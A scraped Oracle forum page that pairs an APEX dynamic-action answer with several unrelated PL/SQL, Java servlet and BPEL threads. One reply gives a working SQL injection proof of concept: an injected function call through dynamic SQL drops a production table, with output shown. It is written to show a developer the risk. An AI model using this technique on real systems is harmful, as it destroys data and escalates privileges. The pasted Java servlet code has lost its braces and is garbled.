Dynamic action setvalue from pl/sql function

Hi,
I have a currency table with exchange rate column.
I created a form that allow user to select currency from the table and get the rate into Px_RATE page items.
I would like to implement it using Dynamic action in apex 4
Please help me on this case
Thanks & regards

Hi,
You can achieve this by defining a dynamic action as follows...
#1 - Right click on the page item used to select the currency (let's call it P1_CURRENCY for purposes of this example) and select 'Create Dynamic Action'
#2 - Select 'Advanced' as we're going to use the 'Set Value' dynamic action type, which is not available in the 'Standard' branch of the wizard.
#3 - Name your dynamic action, say 'GET RATE', click 'Next'.
#4 - Leave the 'When' attributes as default, this just defines that the dynamic action will fire whenever the currency item changes, click 'Next'.
#5 - For the 'True Action > Action' select 'Set Value'
#6 - Think about whether you want to set the value on page load from the dynamic action also, if so leave the 'Fire on Page Load' checkbox checked.
#7 - [Assuming you have a simple PL/SQL API that returns the rate, say get_rate for example] Select 'Set Type' of 'PL/SQL Function Body'
#8 - For 'PL/SQL Function Body' specify something like: return get_rate(:P1_CURRENCY);#9 - For 'Page Items to Submit', specify the currency item P1_CURRENCY and click 'Next'
#10 - For the 'Affected Elements' specify 'Item' and then select the page item where you want to return the rate value, say P1_RATE.
#11 - Click 'Create'.
Let me know if this works for you or if you have any further questions.
Regards,
Anthony.

Similar Messages

  • Interactive report from PL/SQL function

    Hello All,
    i have a pl/sql function that dynamically builds up a sql query and returns it as a varchar2.
    when i create a new report then i can use this function in the report like
    return f_function(param1,param2,v('APP_ID'), v('APP_SESSION'));
    and this works fine.
    Except i cannot create an interactive report for this function, because it is not allowed !!!!
    So how can i use the function in an interactive report ?
    Thanks in advance,
    Marco

    Marco,
    Another rather extreme approach would be to go all the way and make your function pipelined (that is not only build but also execute the query) and then select from it in your interactive report.
    The disadvantage here would be that any supplementary filtering would act on the result set of the function (not as an addition to the where clause of the original query). But if you can live with that...
    The advantage would be that there's less fiddling with column headers.
    Regards,
    Iulian

  • Get result from PL/SQL function through XDBUri (10g)

    Hi!
    I have to call a PL/SQL function that takes two parameters and return one parameter. (I will do this from Oracle Service Bus).
    It is possible to get relational data as xml through an XDBUri type over http by using the XML DB functionality. But is it possible to get the result of a PL/SQL function as XML as well?
    I have tried to wrap the PL/SQL procedure inside a view, but cant get the variable to be bound into the sql.
    I have tried with stuff like this:
    create or replace view test (a, b)
    as
    select function(a, b) from dual
    But since I dont have a table returning the values i cant get it work.
    If I can make this view, I can call it through the XDMUri type.
    Sombody that can help me to manage this?
    /Helge
    Edited by: user3169245 on 03.apr.2009 12:06

    Here's a code snippet that may help
    package com.oracle.st.xmldb.pm.xfiles;
    import com.oracle.st.xmldb.pm.multipart.InputStreamProcessor;
    import com.oracle.st.xmldb.pm.multipart.MultipartInputStream;
    import java.io.IOException;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import javax.servlet.ServletException;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import oracle.jdbc.OracleConnection;
    import oracle.jdbc.OracleDriver;
    import oracle.jdbc.OracleCallableStatement;
    import com.oracle.st.xmldb.pm.multipart.MultipartProcessor;
    import com.oracle.st.xmldb.pm.multipart.MultipartProcessorImpl;
    import java.io.OutputStream;
    import java.io.OutputStreamWriter;
    import java.io.PrintWriter;
    import java.io.Reader;
    import java.io.StringReader;
    import java.io.StringWriter;
    import java.io.Writer;
    import java.sql.DatabaseMetaData;
    import java.sql.PreparedStatement;
    import java.sql.ResultSet;
    import java.sql.Timestamp;
    import java.text.SimpleDateFormat;
    import java.util.Enumeration;
    import oracle.jdbc.OraclePreparedStatement;
    import oracle.jdbc.OracleResultSet;
    import oracle.jdbc.OracleTypes;
    import oracle.sql.BLOB;
    import oracle.sql.CLOB;
    import oracle.xdb.XMLType;
    import oracle.xml.parser.v2.XMLDocument;
    import org.w3c.dom.Attr;
    import org.w3c.dom.CDATASection;
    import org.w3c.dom.Document;
    import org.w3c.dom.Element;
    import org.w3c.dom.Text;
    public class XFilesServlet extends HttpServlet implements InputStreamProcessor {
        public static String TARGET_PATH      = "target";
        public static String STYLESHEET_PATH      = "stylesheet"; 
        private static String CREATE_RESOURCE_SQL =
        "begin " +
        "  XFILES_SOAP_SERVICES.UPLOADRESOURCE" +
        "  ( " +
        "    P_RESOURCE_PATH => :1, " +
        "    P_CONTENT => :2, " +
        "    P_CONTENT_TYPE => :3," +
        "    P_DESCRIPTION => :4," +
        "    P_LANGUAGE => :5," +
        "    P_CHARACTER_SET => :6," +
        "    P_DUPLICATE_POLICY => :7" +
        "  );" +
        "end;";
        private static String GET_FOLDER_HTML_PAGE_SQL =
        "select xdburitype('/XFILES/lite/Folder.html').getClob() from dual";
        private static String WRITE_LOG_RECORD_SQL =
        "begin xfiles_logging.enqueue_log_record(:1); end;";
        private OracleConnection dbConnection;
        private OracleCallableStatement createResource;
        private OracleCallableStatement writeLogRecord;
        private DatabaseMetaData dbMetadata;
        private static final int FILE_UPLOAD = 1;
        private static final int PUBLISH_RSS = 2;
        private static final int DB_REST_SERVICE = 3;
        private static final int FORCE_AUTHENTICATION = 4;
        private static final int SET_PASSWORD = 5;
        private static final int DISPLAY_XML = 6;
        private static final int ENABLE_RSS = 7;
        public static final int XDB_ACCESS_DENIED = 31050;
        private static String SERVLET_ROOT = "/sys/servlets/XFILES";
        private static final String FILE_UPLOAD_PATH = "fileUpload";
        private static final String PUBLISH_RSS_PATH = "publishRSS";
        private static final String SET_PASSWORD_PATH = "setPassword";
        private static final String DB_REST_SERVICE_PATH = "dbRestService";
        private static final String FORCE_AUTHENTICATION_PATH = "doAuthentication";
        private static final String DISPLAY_XML_PATH = "displayXML";
        private static final String ENABLE_RSS_PATH = "enableRSS";
        public static String POST_UPLOAD_URL = "postUploadRedirect";
        public static String DULPLICATE_POLICY = "duplicatePolicy";
        public static String SOURCE_FILE_PATH = "sourceFilePath";
        public static String RESOURCE_FILENAME = "targetFileName";
        public static String RESOURCE_DESCRIPTION = "description";
        public static String UPLOAD_LANGUAGE = "UploadLanguage";
        public static String UPLOAD_CHARACTERSET = "UploadCharset";
        public static String PASSWORD = "password";
        public static String XML_DOCUMENT = "content";
        public static String XML_CHUNK = "chunk";
        public static String RESOURCE_ID = "resid";
        public static String DATABASE_SCHEMA = "DatabaseSchema";
        public static String PACKAGE  = "Package";
        public static String METHOD = "Method";
        public static String SQL_CALL = "SqlOperation";
        protected XMLDocument logRecord;
        protected Element parameterList;
        protected Element timings;
        protected int currentOperation;
        public String xmlContent;
        public static String XML_TIMESTAMP_FORMAT = "yyyy-MM-dd'T'HH:mm:ss.SSS000";
        public static String LOG_TIMESTAMP_FORMAT = "HH:mm:ss.SSS000";
        protected SimpleDateFormat xmlDateFormatter  = new SimpleDateFormat(XML_TIMESTAMP_FORMAT); 
        private String postUploadURL;
        private String targetFolder;
        private String onDuplicateAction;
        private String sourceFile;
        private BLOB   resourceContent;
        private String contentType;
        private String resourceName;
        private String resourceComment;
        private String uploadLanguage;
        private String uploadCharacterSet;
        public XFilesServlet() {
        private void logParameter(Document doc)
           this.parameterList.appendChild(logRecord.importNode(doc.getDocumentElement().cloneNode(true),true));
        private void logParameter(String parameterName, String[] values)
          Element e = this.logRecord.createElement(parameterName);
          this.parameterList.appendChild(e);
          if (values != null)
            Attr a = this.logRecord.createAttribute("Length");
            e.setAttributeNode(a);
            a.setValue(Integer.toString(values.length));
            for (int i = 0; i < values.length; i++)
              Element v = this.logRecord.createElement("parameterValue");
              e.appendChild(v);
              Text t = this.logRecord.createTextNode(values);
    v.appendChild(t);
    a = this.logRecord.createAttribute("Index");
    v.setAttributeNode(a);
    a.setValue(Integer.toString(i));
    public void logParameter(String parameterName,String value)
    Element e = this.logRecord.createElement(parameterName);
    this.parameterList.appendChild(e);
    if (value != null)
    Text t = this.logRecord.createTextNode(value);
    e.appendChild(t);
    private void logParameterCDATA(String parameterName,String value)
    Element e = this.logRecord.createElement(parameterName);
    this.parameterList.appendChild(e);
    if (value != null)
    CDATASection c = this.logRecord.createCDATASection(value);
    e.appendChild(c);
    private void logException(Exception e) {
    Element stackTrace = this.logRecord.createElement("StackTrace");
    this.logRecord.getDocumentElement().appendChild(stackTrace);
    this.appendException(stackTrace,e);
    private void appendException(Element stackTrace, Throwable error)
    StringWriter sw = new StringWriter();
    PrintWriter pw = new PrintWriter(sw);
    error.printStackTrace(pw);
    pw.flush();
    pw.close();
    Text t = this.logRecord.createCDATASection(sw.toString());
    stackTrace.appendChild(t);
    if (error.getCause() != null)
    Element causedBy = this.logRecord.createElement("CausedBy");
    stackTrace.appendChild(causedBy);
    appendException(causedBy,error.getCause());
    else {
    if (error instanceof ServletException) {
    ServletException se = (ServletException) error;
    if (se.getRootCause() != null) {
    Element causedBy = this.logRecord.createElement("CausedBy");
    stackTrace.appendChild(causedBy);
    appendException(causedBy,se.getRootCause());
    private void logTimestamp(String eventName)
    Timestamp ts = new Timestamp(System.currentTimeMillis());
    Element element = logRecord.createElement(eventName);
    this.timings.appendChild(element);
    Text text = logRecord.createTextNode(this.xmlDateFormatter.format(ts));
    element.appendChild(text);
    protected void initiateLogging(HttpServletRequest request)
    throws IOException
    this.logRecord = new XMLDocument();
    Element root = this.logRecord.createElement("XFilesLogRecord");
    this.logRecord.appendChild(root);
    Element e = this.logRecord.createElement("HttpRequest");
    root.appendChild(e);
    Element e1 = this.logRecord.createElement("ServletName");
    Text t = this.logRecord.createTextNode(this.getClass().getName());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("HttpMethod");
    t = this.logRecord.createTextNode(request.getMethod());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("RequestURI");
    t = this.logRecord.createTextNode(request.getRequestURI());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("PathTranslated");
    t = this.logRecord.createTextNode(request.getPathTranslated());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("RequestURL");
    t = this.logRecord.createTextNode(new String(request.getRequestURL()));
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("Protocol");
    t = this.logRecord.createTextNode(request.getProtocol());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("ServerName");
    t = this.logRecord.createTextNode(request.getServerName());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("ContentType");
    t = this.logRecord.createTextNode(request.getContentType());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("LocalAddr");
    t = this.logRecord.createTextNode(request.getLocalAddr());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("LocalName");
    t = this.logRecord.createTextNode(request.getLocalName());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("LocalPort");
    t = this.logRecord.createTextNode(Integer.toString(request.getLocalPort()));
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("Port");
    t = this.logRecord.createTextNode(Integer.toString(request.getServerPort()));
    e1.appendChild(t);
    e.appendChild(e1);
    this.timings = this.logRecord.createElement("Timestamps");
    root.appendChild(this.timings);
    logTimestamp("Init");
    e = this.logRecord.createElement("Remote");
    root.appendChild(e);
    e1 = this.logRecord.createElement("RemoteHost");
    t = this.logRecord.createTextNode(request.getRemoteHost());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("RemoteAddress");
    t = this.logRecord.createTextNode(request.getRemoteAddr());
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("RemotePort");
    t = this.logRecord.createTextNode(Integer.toString(request.getRemotePort()));
    e1.appendChild(t);
    e.appendChild(e1);
    e1 = this.logRecord.createElement("RemoteUser");
    t = this.logRecord.createTextNode(request.getRemoteUser());
    e1.appendChild(t);
    e.appendChild(e1);
    e = this.logRecord.createElement("RequestHeaders");
    root.appendChild(e);
    Enumeration headerNames = request.getHeaderNames();
    while (headerNames.hasMoreElements())
    String headerName = (String) headerNames.nextElement();
    e1 = this.logRecord.createElement(headerName);
    t = this.logRecord.createTextNode(request.getHeader(headerName));
    e1.appendChild(t);
    e.appendChild(e1);
    this.parameterList = this.logRecord.createElement("ServletParameters");
    root.appendChild(parameterList);
    public void writeLogRecord(XMLDocument logRecord) throws SQLException , IOException {
    XMLType xml = new XMLType(this.dbConnection, logRecord);
    this.writeLogRecord.setObject(1, xml);
    this.writeLogRecord.execute();
    this.dbConnection.commit();
    protected String readParameter(HttpServletRequest request,String parameterName,String defaultValue)
    String value = request.getParameter(parameterName);
    if (value != null)
    if (value.length() == 0) {
    value = null;
    if (value == null) {
    value = defaultValue;
    logParameter(parameterName,value);
    return value;
    public void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException
    try {
    try {  
    initiateLogging(request);
    initializeDatabaseConnection();
    String requestURI = request.getRequestURI();
    this.currentOperation = getOperation(requestURI);
    switch (this.currentOperation) {
    case DB_REST_SERVICE:
    restResponse(request,response);
    break;
    default:
    response.sendError(HttpServletResponse.SC_NOT_FOUND);
    logTimestamp("Complete");
    writeLogRecord(this.logRecord);
    this.dbConnection.commit();
    catch (Exception e) {
    try {
    this.dbConnection.rollback();
    logTimestamp("Exception");
    logException(e);
    writeLogRecord(this.logRecord);
    catch (Exception wle) {
    System.out.println("XFilesServlet : Fatal error while logging Error : ");
    e.printStackTrace(System.out);
    System.out.flush();
    wle.printStackTrace(System.out);
    System.out.flush();
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
    finally {
    try {
    this.createResource.close();
    this.writeLogRecord.close();
    catch (SQLException e) {
    System.out.println("XFilesServlet : Fatal error while closing statements : ");
    e.printStackTrace(System.out);
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
    } catch (IOException ioe) {
    System.out.println("XFilesServlet : Fatal error while Sending Error Status : ");
    ioe.printStackTrace(System.out);
    System.out.flush();
    public void doPost(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException
    doGet(req, res);
    private void initializeDatabaseConnection() throws SQLException {
    DriverManager.registerDriver(new oracle.jdbc.OracleDriver());
    OracleDriver ora = new OracleDriver();
    this.dbConnection = (OracleConnection) ora.defaultConnection();
    this.createResource = (OracleCallableStatement) this.dbConnection.prepareCall(this.CREATE_RESOURCE_SQL);
    this.writeLogRecord = (OracleCallableStatement) this.dbConnection.prepareCall(this.WRITE_LOG_RECORD_SQL);
    this.dbMetadata = this.dbConnection.getMetaData();
    private int getOperation(String requestURI) {
    String servletTarget = requestURI.substring(this.SERVLET_ROOT.length()+1);
    if (servletTarget.indexOf('/') > -1) {
    servletTarget = servletTarget.substring(0,servletTarget.indexOf("/"));
    if (servletTarget.equals(this.FILE_UPLOAD_PATH)) return FILE_UPLOAD;
    if (servletTarget.equals(this.FORCE_AUTHENTICATION_PATH)) return this.FORCE_AUTHENTICATION;
    if (servletTarget.equals(this.PUBLISH_RSS_PATH)) return this.PUBLISH_RSS;
    if (servletTarget.equals(this.DB_REST_SERVICE_PATH)) return this.DB_REST_SERVICE;
    if (servletTarget.equals(this.SET_PASSWORD_PATH)) return this.SET_PASSWORD;
    if (servletTarget.equals(this.DISPLAY_XML_PATH)) return this.DISPLAY_XML;
    if (servletTarget.equals(this.ENABLE_RSS_PATH)) return this.ENABLE_RSS;
    return 0;
    public void processParameter(String name, String value)
    throws SQLException {
    logParameter(name,value);
    if (name.equals(this.TARGET_PATH)) {
    this.targetFolder = value;
    if (name.equals(this.POST_UPLOAD_URL)) {
    this.postUploadURL = value;
    if (name.equals(this.UPLOAD_LANGUAGE)) {
    this.uploadLanguage = value;
    if (name.equals(this.UPLOAD_CHARACTERSET)) {
    this.uploadCharacterSet = value;
    if (name.equals(this.DULPLICATE_POLICY)) {
    this.onDuplicateAction = value;
    if (name.equals(this.SOURCE_FILE_PATH)) {
    this.sourceFile = value;
    if (name.equals(MultipartProcessor.MULTIPART_CONTENT_TYPE)) {
    this.contentType = value;
    if (name.equals(this.RESOURCE_FILENAME)) {
    this.resourceName = value;
    if (name.equals(this.RESOURCE_DESCRIPTION)) {
    this.resourceComment = value;
    createNewResource();
    private void restResponse(HttpServletRequest request, HttpServletResponse response)
    throws IOException, SQLException, ServletException {
    String requestURI = request.getRequestURI();
    String restTarget = requestURI.substring(this.SERVLET_ROOT.length() + this.DB_REST_SERVICE_PATH.length()+1);
    if (restTarget.contains("//")) {
    // Cannot have // in URL
    response.sendError(HttpServletResponse.SC_BAD_REQUEST);
    return;
    if (restTarget.length() < 4) {
    // URL is too short to be valid - Minumum is /A/B
    response.sendError(HttpServletResponse.SC_BAD_REQUEST);
    return;
    if (!restTarget.startsWith("/")) {
    // Invalid URL
    response.sendError(HttpServletResponse.SC_BAD_REQUEST);
    return;
    if (!restTarget.substring(1).contains("/")) {
    // URL must contain /Schema/Method, may Contain /Schema/Package/Method
    response.sendError(HttpServletResponse.SC_BAD_REQUEST);
    return;
    String schemaName = restTarget.substring(1,restTarget.substring(1).indexOf("/")+1);
    restTarget = restTarget.substring(schemaName.length()+1);
    logParameter(this.DATABASE_SCHEMA,schemaName);
    String packageName = null;
    if (restTarget.substring(1).contains("/")) {
    // URL contains /Schema/Package/Method
    packageName = restTarget.substring(1,restTarget.substring(1).indexOf("/")+1);
    restTarget = restTarget.substring(packageName.length()+1);
    logParameter(this.PACKAGE,packageName);
    if (restTarget.substring(1).contains("/")) {
    // URL must be /Schema/Method or /Schema/Package/Method, anything else is junk
    response.sendError(HttpServletResponse.SC_BAD_REQUEST);
    return;
    String methodName = restTarget.substring(1);
    logParameter(this.METHOD,methodName);
    int responseCode = verifyTarget(request,schemaName,packageName,methodName);
    if (responseCode != HttpServletResponse.SC_OK) {
    System.out.println("Status Code = " + responseCode);
    response.sendError(responseCode);
    return;
    String target = "\"" + schemaName + "\".";
    if (packageName != null) {
    target = target + "\"" + packageName + "\".";
    target = target + "\"" + methodName + "\"";
    int index;
    Enumeration parmNames;
    String sqlStatementText =
    "begin" + "\n" +
    " :1 := " + target + "(" + "\n";
    index = 1;
    parmNames = request.getParameterNames();
    while (parmNames.hasMoreElements()) {
    index++;
    sqlStatementText = sqlStatementText + "\"" + parmNames.nextElement() + "\" => :" + index + " ";
    if (parmNames.hasMoreElements()) {
    sqlStatementText = sqlStatementText + ",\n";
    sqlStatementText = sqlStatementText + ");\nend;";
    logParameterCDATA(this.SQL_CALL,sqlStatementText);
    OracleCallableStatement statement = (OracleCallableStatement) this.dbConnection.prepareCall(sqlStatementText);
    index = 1;
    parmNames = request.getParameterNames();
    while (parmNames.hasMoreElements()) {
    index++;
    String parameterName = (String) parmNames.nextElement();
    String parameterValue = (String) request.getParameter(parameterName);
    logParameter(parameterName,parameterValue);
    statement.setString(index,parameterValue);
    XMLType xml = null;
    try {
    statement.registerOutParameter(1,OracleTypes.OPAQUE,"SYS.XMLTYPE");
    statement.execute();
    xml = (XMLType) statement.getObject(1);
    statement.close();
    catch (SQLException sqle) {
    statement.close();
    if (xml != null) xml.close();
    if (sqle.getErrorCode() == this.XDB_ACCESS_DENIED) {
    logTimestamp("RequestAuthorization");
    response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
    return;
    ServletException se = new ServletException("Unexpected SQL Error",sqle);
    throw se;
    response.setContentLength(0);
    response.setContentType("text/xml");
    xml.writeToOutputStream(response.getOutputStream());
    xml.close();
    response.getOutputStream().flush();
    response.getOutputStream().write( new byte[] {'\r','\n'} );
    // response.getOutputStream().flush();
    response.getOutputStream().close();
    response.setStatus(HttpServletResponse.SC_OK);
    private int verifyTarget(HttpServletRequest request, String schemaName, String packageName, String methodName)
    throws SQLException {
    int response = HttpServletResponse.SC_NOT_FOUND;
    boolean parameterValid = false;
    ResultSet procedure = null;
    procedure = this.dbMetadata.getProcedures(packageName,schemaName,methodName);
    while (procedure.next()) {
    response = HttpServletResponse.SC_OK;
    response = verifyMandatoryParameters(request,schemaName,packageName,methodName);
    if (response == HttpServletResponse.SC_OK) {
    response = verifyOptionalParameters(request,schemaName,packageName,methodName);
    return response;
    private int verifyMandatoryParameters(HttpServletRequest request, String schemaName, String packageName, String methodName) throws SQLException {
    // Check Mandatory Parameters are present.
    ResultSet columns = null;
    columns = this.dbMetadata.getProcedureColumns(packageName,schemaName,methodName,"%");
    while (columns.next()) {
    short nullable = columns.getShort(12);
    String columnName = columns.getString(4);
    if (nullable == DatabaseMetaData.procedureNoNulls) {
    if (request.getParameter(columnName) == null) {
    columns.close();
    return HttpServletResponse.SC_BAD_REQUEST;
    return HttpServletResponse.SC_OK;
    private int verifyOptionalParameters(HttpServletRequest request, String schemaName, String packageName, String methodName) throws SQLException {
    // Check Optional Parameters are valid
    Enumeration parms = request.getParameterNames();
    ResultSet column = null;
    while (parms.hasMoreElements()) {
    String columnName = (String) parms.nextElement();
    column = this.dbMetadata.getProcedureColumns(packageName,schemaName,methodName,columnName);
    if (!column.next()) {
    column.close();
    return HttpServletResponse.SC_BAD_REQUEST;
    column.close();
    return HttpServletResponse.SC_OK;

  • How to return less than 4000 characters from pl/sql function in SQL call?

    Hello,
    Is there a way to limit length for varchar when calling pl/sql function from SQL? No matter how I write it it always returns 4000 bytes.
    If there is none, then does it make sense ever to specify lenght of the return variable?
    My goal is to encapsulate business rules within pl/sql functions. But if all varchar columns are returned as 4000 it is not feasible solution. Not only this is a performance issue in a data warehousing environment, bet when using those rules within SQL views user experiance would suffer as well. Are we left with the rule hardcoding solution? Also, I think that using SUBSTRING or TRUNC functions on top of business rules function defeats the purpose.
    Please see my attempt below. Your thoughts are appreciated.
    Thank you.
    /* Formatted on 06/11/2009 2:26:41 PM (QP5 v5.126.903.23003) */
    CREATE OR REPLACE FUNCTION mytest (myvar_in VARCHAR2)
    RETURN VARCHAR2
    AS
    l_return VARCHAR2 (15);
    BEGIN
    l_return := 'TEST_' || myvar_in;
    RETURN l_return;
    END mytest;
    CREATE TABLE TEST_ME
    AS
    SELECT mytest ('ME') AS VERYLONG FROM DUAL;
    describe TEST_ME;
    RUN ABOVE CODE:
    Function created.
    Table created.
    TABLE TEST_ME
    Name Null? Type
    VERYLONG VARCHAR2(4000)
    Edited by: Ilmars2 on Jun 11, 2009 2:46 PM

    Pointless,
    Thanks for jumping in on this and I am glad you asked :).
    I do not doubt that it is an architectural challenge. Otherwise it would have been done already! I am struggling with the fact that SQL knows what data type the function will return, but does not know the length of it, precision or scale. I will leave it at that.
    I will go with some high level requirements to allow for alternative thoughts:
    1)     Business defined rules. There are multiple types of business rules. Simple lookups, bucketing, complex calculations, data retrieved from other tables etc. We have about 500 different rules. Some of them are even overloaded – different inputs will produce the same output.
    Some simple examples are:
    Rule1 - Fruit
         when ‘A’ then ‘Apple’
         When ‘O’ then ‘Orange’
         Else ‘N/A’ end
    Rule2 – Bonus
         when STATUS =’Active’ and LEVEL=’CEO’ then bonus=salary*1.0
         when STATUS =’Active’ and LEVEL=’nobody’ then bonus=salary*0.01
         else bonus=0
    Rule 3 – Income Bracket
         When more than 0 and less or equal to 30000 then INC_B=’LOW’
         When more than 30000 and less of equal to 60000 then INC_B=’MIDDLE’
    Etc.
    2)     Challenge: All data users in an organization need to use the same rules (let’s assume data source is Oracle database). How to expose all the rules to different types of users in manageable way? Types of users – analysts, application/web developers, data warehouse teams etc.
    3)     Current system: Not only each user has coded their own rules (luckily based on the common specification), but hard-coding is taking place for each query within the confines of one project. The project I just looked at had about 12 modules with 30 hardcoded queries. Oops! Few rules just changed.
    My take: I was leaning toward encapsulating business logic within UDF’s. UDF’s provide all the flexibility we need + overloading. All the functions could be consumed by data warehouse team (building summary tables, cubes etc.) and application developers. For power users we could build views by applying the same functions on top of the source data. Thus avoid data duplication. It seemed win-win until this 4000 issue :).
    Your thoughts on alternative approaches are appreciated.
    Thank you.

  • SQL Injection from PL/SQL function.

    WE have some issues with a third party application which has vulnerabilities to SQL Injection, we have delivered a proof of concept to the developers demonstrating that it is possible to return additional (unrestricted) results to the front end, we have also found the following function in the back end. Assuming that its possible to call this function (which it is) and we can pass in whatever we want and that the user has exp_full_database and imp_full_database roles granted is there anything destructive possible with the following function?
    FUNCTION row_count (tab_name VARCHAR2) RETURN INTEGER AS
    rows INTEGER;
    BEGIN
    EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM ' || tab_name INTO rows;
    RETURN rows;
    END;
    version 11.2.0.3, linux x86

    Simple example.
    SQL> --// table to hack in production - we are going to nuke it
    SQL> create table production_table1(
      2          some_data       number
      3  );
    Table created.
    SQL> --// production code typically executes with production rights (authid definer)
    SQL> create or replace function RowCount( tabName varchar2 ) return integer authid definer is
      2  --// code executes with the privs of the owner of the code
      3          cnt     integer;
      4  begin
      5          execute immediate 'SELECT COUNT(*) FROM ' || tabName into cnt;
      6          return( cnt );
      7  end;
      8  /
    Function created.
    SQL> --// expected use of production code
    SQL> var i number
    SQL> exec :i := RowCount( 'EMP' );
    PL/SQL procedure successfully completed.
    SQL> print i
             I
            14
    SQL>
    SQL> --// create the following in any schema that I, as hacker, have access to and the
    SQL> --// right to create a procedure - and using "access/security escalation", I'm going
    SQL> --// to get production code to run my code with production rights
    SQL>
    SQL> create or replace function InjectCode return integer authid current_user is
      2  --// code executes with the privs of the caller of the code
      3          pragma autonomous_transaction;
      4  begin
      5          execute immediate 'drop table PRODUCTION_TABLE1 purge';
      6          return( 0 );
      7  end;
      8  /
    Function created.
    SQL>
    SQL> --// production table is there
    SQL> select object_type, object_name from user_objects where object_name = 'PRODUCTION_TABLE1';
    OBJECT_TYPE                    OBJECT_NAME
    TABLE                          PRODUCTION_TABLE1
    SQL>
    SQL> --// inject my code into production code
    SQL> exec :i := RowCount( 'EMP where InjectCode() = 0' );
    PL/SQL procedure successfully completed.
    SQL> print :i
             I
            14
    SQL> --// production table is nuked
    SQL> select object_type, object_name from user_objects where object_name = 'PRODUCTION_TABLE1';
    no rows selected
    SQL>

  • Invoke BPEL From PL\SQL Function

    Hello.
    I'm, trying to invoke a BPEL Process from a PL\SQL, but i always retrieve this error:
    <env:Envelope xmlns:env="http://schemas.xmlsoap.org/soap/envelope/">
    <env:Header/>
    <env:Body>
    <env:Fault xmlns:env="http://schemas.xmlsoap.org/soap/envelope/">
    <faultcode>env:Server</faultcode>
    <faultstring>java.lang.NullPointerException</faultstring>
    <faultactor></faultactor>
    </env:Fault>
    </env:Body>
    </env:Envelope>
    I'm using:
    BPEL v10.1.3.1.0
    Oracle Database 10g Release 10.2.0.2.0 - Production
    This is the Function that i'm using:
    Declare
    soap_request varchar2(30000);
    soap_respond varchar2(30000);
    http_req utl_http.req;
    http_resp utl_http.resp;
    resp XMLType;
    i integer;
    Begin
    soap_request:= '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body xmlns:ns1="http://xmlns.oracle.com/Empty">
    <ns1:EmptyProcessRequest>
    <ns1:input1>Pedro</ns1:input1>
    <ns1:input2>Quintas</ns1:input2>
    </ns1:EmptyProcessRequest>
    </soap:Body>
    </soap:Envelope>';
    http_req:= utl_http.begin_request
    ( 'http://vm-win2000pro:80/orabpel/default/Empty/1.1'
    , 'POST'
    , 'HTTP/1.1'
    utl_http.set_header(http_req, 'Content-Type', 'text/xml'); -- since we are dealing with plain text in XML documents
    utl_http.set_header(http_req, 'Content-Length', length(soap_request));
    utl_http.set_header(http_req, 'SOAPAction', 'initiate'); -- required to specify this is a SOAP communication
    utl_http.write_text(http_req, soap_request);
    http_resp:= utl_http.get_response(http_req);
    utl_http.read_text(http_resp, soap_respond);
    utl_http.end_response(http_resp);
    resp:= XMLType.createXML(soap_respond);
    resp:= resp.extract('/soap:Envelop/soap:Body/child::node()'
    ,'xmlns:soap="http://www.w3.org/2001/XMLSchema-instance"'
    dbms_output.put_line(soap_respond);
    End;
    Thanks,
    Pedro Quintas

    Well, your endpoint is "http://vm-win2000pro:80/orabpel/default/Empty/1.1" right?
    Configure http analyzer to forward port 80 (or any other port) to vm-win2000pro port 80.
    Assuming http analyzer is running on your own laptop, change the hostname in your database call to http://<my_own_laptop_hostname>:80/orabpel/default/Empty/1.1
    Http analyzer will proxy the request through to the real service

  • Passing Multiple Values from a worksheet to PL/SQL function.

    Hi All,
    Is there any way to pass multiple values selected in a worksheet to a PL/SQL function ?
    I will try to explain the scenario:
    We have a crosstab report that showing all the customer details, deposit sum of a customer in each date in a date range selected. With the customer details we are showing the Rank of a customer based on the deposit in the latest date selected. Filtering is based on the rank, ie Top50 or Top60 etc.( As I said rank is calculating based on the deposit in the latest date).This is working fine.
    Now the new requirement is to : For example, in Top50 report, list all the customers, who were in the Top50 list, in any of the dates selected. We are able to display the daywise rank, but when giving a condition like daywiserank <= 50, the result becomes uncertain. Some blank lines, wrong amounts etc..
    As a work around we tried to find out the rank in a PL/SQL function. But the issue there is : we have some multiple value parameters used in the worksheet.
    Is there any way to pass multiple values selected in a worksheet to a PL/SQL function ?
    Or any other work arounds for the scenario explained?
    Reagrds,
    Jeneesh

    Hi Russ,
    Thanks for the response.
    Russ Proudman wrote:
    1. I thought there was an analytical function similar to rank - or maybe an option of rank - that if there are duplicate records to have them all considered the same rank. So if you had 3 records all the same as rank=2 then a condition saying where rank=2 would return the 3 records. You could check into this.
    We are already using DENSE_RANK. But the issue is the output contains incorrect null values nd repeated rows.
    We got it solved as I explained in the previous post. But will that AGGREGATION MODE setting ( Which discoverer says - not recommended) have any issue? I mean side effects?
    Russ Proudman wrote:
